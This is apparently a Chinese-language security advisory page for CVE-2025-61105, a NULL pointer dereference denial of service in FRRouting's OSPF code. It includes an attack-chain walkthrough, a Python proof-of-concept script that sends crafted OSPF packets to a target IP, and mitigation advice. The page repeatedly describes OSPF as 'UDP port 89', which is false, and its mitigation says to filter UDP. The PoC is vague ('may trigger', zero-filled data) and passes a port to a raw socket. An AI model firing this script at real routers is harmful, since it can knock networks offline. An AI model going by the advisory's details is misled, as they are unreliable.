IPBUF安全漏洞报告
English
CVE-2025-61105 CVSS 7.5 高危

CVE-2025-61105 FRRouting ospf_ext.c NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-61105
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

NULL指针解引用拒绝服务FRRoutingFRRouting/frrOSPFospf_ext.cCVE-2025-61105高危漏洞路由协议网络设备

漏洞概述

FRRouting是一款开源的IP路由协议软件包,实现了OSPF、ripd、bgpd等多种路由协议。FRRouting从v4.0到v10.4.1版本中存在一个NULL指针解引用漏洞,漏洞位于ospf_ext.c文件的show_vty_link_info函数中。攻击者可以通过发送精心构造的OSPF数据包触发该漏洞,导致程序崩溃,从而造成拒绝服务(DoS)。该漏洞具有网络可达性,攻击者无需认证即可远程利用,对可用性造成严重影响。CVSS评分7.5,属于高危漏洞。FRRouting作为重要的路由软件,被广泛部署于企业网络和数据中心,任何运行受影响版本FRRouting的系统都可能受到攻击。

技术细节

该漏洞的根本原因是在ospf_ext.c文件的show_vty_link_info函数中缺少对NULL指针的有效检查。当FRRouting处理OSPF协议的链路状态信息时,如果接收到攻击者精心构造的OSPF数据包,该数据包可能包含异常或恶意构造的链路信息字段。在show_vty_link_info函数处理这些数据时,由于未对指针进行空值检查就直接解引用,导致程序访问非法内存地址,触发NULL指针解引用错误,最终导致frrouting进程崩溃。攻击者只需要向运行FRRouting的设备的OSPF端口(通常为89端口)发送特制的数据包即可触发漏洞,无需任何认证或用户交互。成功利用此漏洞可导致路由协议中断,影响整个网络的路由收敛和数据包转发。

攻击链分析

STEP 1
步骤1
攻击者识别运行FRRouting v4.0-v10.4.1版本的目标设备,确认OSPF协议端口(89)可达
STEP 2
步骤2
攻击者构造包含异常链路信息的特制OSPF数据包,目标是触发ospf_ext.c中show_vty_link_info函数的NULL指针解引用
STEP 3
步骤3
攻击者通过UDP端口89向目标设备发送特制的OSPF数据包,无需任何认证
STEP 4
步骤4
FRRouting在处理该OSPF数据包时,show_vty_link_info函数对未初始化的指针进行解引用操作
STEP 5
步骤5
程序触发NULL指针解引用异常,导致frrouting进程崩溃,路由协议中断
STEP 6
步骤6
目标网络失去路由能力,无法正常转发数据包,造成完整的拒绝服务(DoS)状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-61105 PoC - FRRouting NULL Pointer Dereference # This PoC demonstrates sending a crafted OSPF packet to trigger # the NULL pointer dereference in show_vty_link_info function import socket import struct import sys def create_crafted_ospf_packet(): """Create a malformed OSPF packet to trigger NULL pointer dereference""" # OSPF Header version = 2 # OSPF v2 msg_type = 4 # LS Update length = 0 router_id = b'\xc0\xa8\x01\x01' # 192.168.1.1 area_id = b'\x00\x00\x00\x00' # 0.0.0.0 checksum = 0 auth_type = 0 auth = b'\x00' * 8 ospf_header = struct.pack('!BBH4s4sHH', version, msg_type, length, router_id, area_id, checksum, auth_type) + auth # Crafted LSA header with malformed data # This may trigger NULL pointer in show_vty_link_info lsa_age = 1 lsa_type = 1 # Router-LSA lsa_id = b'\x00\x00\x00\x01' adv_router = router_id lsa_seq = 0x80000001 lsa_cksum = 0 length = 36 lsa_header = struct.pack('!HH4s4sIHH', lsa_age, lsa_type, lsa_id, adv_router, lsa_seq, lsa_cksum, length) # Malformed LSA body to trigger vulnerability lsa_body = b'\x00' * 20 # Malformed data return ospf_header + lsa_header + lsa_body def send_crafted_packet(target_ip, target_port=89): """Send the crafted OSPF packet to target""" packet = create_crafted_ospf_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPFIGP) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Crafted OSPF packet sent to {target_ip}:{target_port}") print(f"[+] Packet length: {len(packet)} bytes") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-61105.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_crafted_packet(target_ip)

影响范围

FRRouting/frr >= v4.0
FRRouting/frr <= v10.4.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络设备上配置访问控制列表(ACL)限制OSPF协议流量,仅允许可信的路由器IP地址进行OSPF通信;2) 禁用不必要的OSPF邻居关系,减少攻击面;3) 监控FRRouting进程状态,设置告警机制以便在进程崩溃时及时响应;4) 考虑使用iptables或ipfw限制对UDP端口89的访问,添加源IP白名单;5) 如果业务允许,可以临时关闭OSPF协议并切换到静态路由,但需评估对网络可用性的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表